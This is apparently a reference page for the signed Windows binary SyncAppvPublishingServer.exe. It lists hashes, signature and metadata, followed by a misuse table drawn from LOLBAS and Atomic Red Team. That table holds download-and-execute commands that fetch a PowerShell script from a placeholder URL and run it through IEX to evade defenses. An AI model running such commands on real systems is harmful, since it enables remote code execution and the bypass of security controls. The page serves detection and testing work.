SyncAppvPublishingServer.exe

  • File Path: C:\WINDOWS\system32\SyncAppvPublishingServer.exe
  • Description: Microsoft Application Virtualization Sync Utility

Hashes

Type Hash
MD5 F5436BA0DDCB88473858BDB310C234D9
SHA1 D0EB5B93AB2B2E657BCA60124E030156E8C318AA
SHA256 19AE8DB900F2F3446C51A05651FF61B071B091D75566AB3DDEBEFEB1F995705F
SHA384 7FD2024FF192AF9C64F56FD8322D6F090CCBF2140FD34123156E36BF33C758DEEE76EDDC63666BA3D8E0C035C078B8B3
SHA512 19499C76127F0457CB7B1CB0BA04C32FD803764F9C0732A087DAF6C6A9124E5A9525C9FA662B31542381ADDBC374FDCD1A4B619F2CD813EB50C7D23AF720094E
SSDEEP 768:nKrnaluTrkL5oZjn6V46K4Dwikn9aeDx/RP+Ed2I1PrkLHb:nvuTr5Zjna4pmwiE9aeDxpPX/PrkL7

Signature

  • Status: Signature verified.
  • Serial: 330000023241FB59996DCC4DFF000000000232
  • Thumbprint: FF82BC38E1DA5E596DF374C53E3617F7EDA36B06
  • Issuer: CN=Microsoft Windows Production PCA 2011, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
  • Subject: CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US

File Metadata

  • Original Filename: syncappvpublishingserver.exe
  • Product Name: Microsoft Windows Operating System
  • Company Name: Microsoft Corporation
  • File Version: 10.0.18362.815 (WinBuild.160101.0800)
  • Product Version: 10.0.18362.815
  • Language: English (United States)
  • Legal Copyright: Microsoft Corporation. All rights reserved.

Possible Misuse

The following table contains possible examples of SyncAppvPublishingServer.exe being misused. While SyncAppvPublishingServer.exe is not inherently malicious, its legitimate functionality can be abused for malicious purposes.

Source Source File Example License
LOLBAS Syncappvpublishingserver.yml Name: SyncAppvPublishingServer.exe  
LOLBAS Syncappvpublishingserver.yml - Command: SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('http://some.url/script.ps1') \| IEX"  
LOLBAS Syncappvpublishingserver.yml Usecase: Use SyncAppvPublishingServer as a Powershell host to execute Powershell code. Evade defensive counter measures  
LOLBAS Syncappvpublishingserver.yml - Path: C:\Windows\System32\SyncAppvPublishingServer.exe  
LOLBAS Syncappvpublishingserver.yml - Path: C:\Windows\SysWOW64\SyncAppvPublishingServer.exe  
LOLBAS Syncappvpublishingserver.yml - IOC: SyncAppvPublishingServer.exe should never be in use unless App-V is deployed  
LOLBAS Syncappvpublishingserver.yml Name: Syncappvpublishingserver.vbs  
LOLBAS Syncappvpublishingserver.yml - Command: SyncAppvPublishingServer.vbs "n;((New-Object Net.WebClient).DownloadString('http://some.url/script.ps1') \| IEX"  
LOLBAS Syncappvpublishingserver.yml - Path: C:\Windows\System32\SyncAppvPublishingServer.vbs  
atomic-red-team index.md - Atomic Test #2: SyncAppvPublishingServer - Execute arbitrary PowerShell code [windows] MIT License. © 2018 Red Canary
atomic-red-team index.md - Atomic Test #1: SyncAppvPublishingServer Signed Script PowerShell Command Execution [windows] MIT License. © 2018 Red Canary
atomic-red-team windows-index.md - Atomic Test #2: SyncAppvPublishingServer - Execute arbitrary PowerShell code [windows] MIT License. © 2018 Red Canary
atomic-red-team windows-index.md - Atomic Test #1: SyncAppvPublishingServer Signed Script PowerShell Command Execution [windows] MIT License. © 2018 Red Canary
atomic-red-team T1216.md - Atomic Test #1 - SyncAppvPublishingServer Signed Script PowerShell Command Execution MIT License. © 2018 Red Canary
atomic-red-team T1216.md ## Atomic Test #1 - SyncAppvPublishingServer Signed Script PowerShell Command Execution MIT License. © 2018 Red Canary
atomic-red-team T1216.md Executes the signed SyncAppvPublishingServer script with options to execute an arbitrary PowerShell command. MIT License. © 2018 Red Canary
atomic-red-team T1216.md C:\windows\system32\SyncAppvPublishingServer.vbs “\n;#{command_to_execute}” MIT License. © 2018 Red Canary
atomic-red-team T1218.md - Atomic Test #2 - SyncAppvPublishingServer - Execute arbitrary PowerShell code MIT License. © 2018 Red Canary
atomic-red-team T1218.md ## Atomic Test #2 - SyncAppvPublishingServer - Execute arbitrary PowerShell code MIT License. © 2018 Red Canary
atomic-red-team T1218.md Executes arbitrary PowerShell code using SyncAppvPublishingServer.exe. Requires Windows 10. MIT License. © 2018 Red Canary
atomic-red-team T1218.md SyncAppvPublishingServer.exe “n; #{powershell_code}” MIT License. © 2018 Red Canary

MIT License. Copyright (c) 2020-2021 Strontic.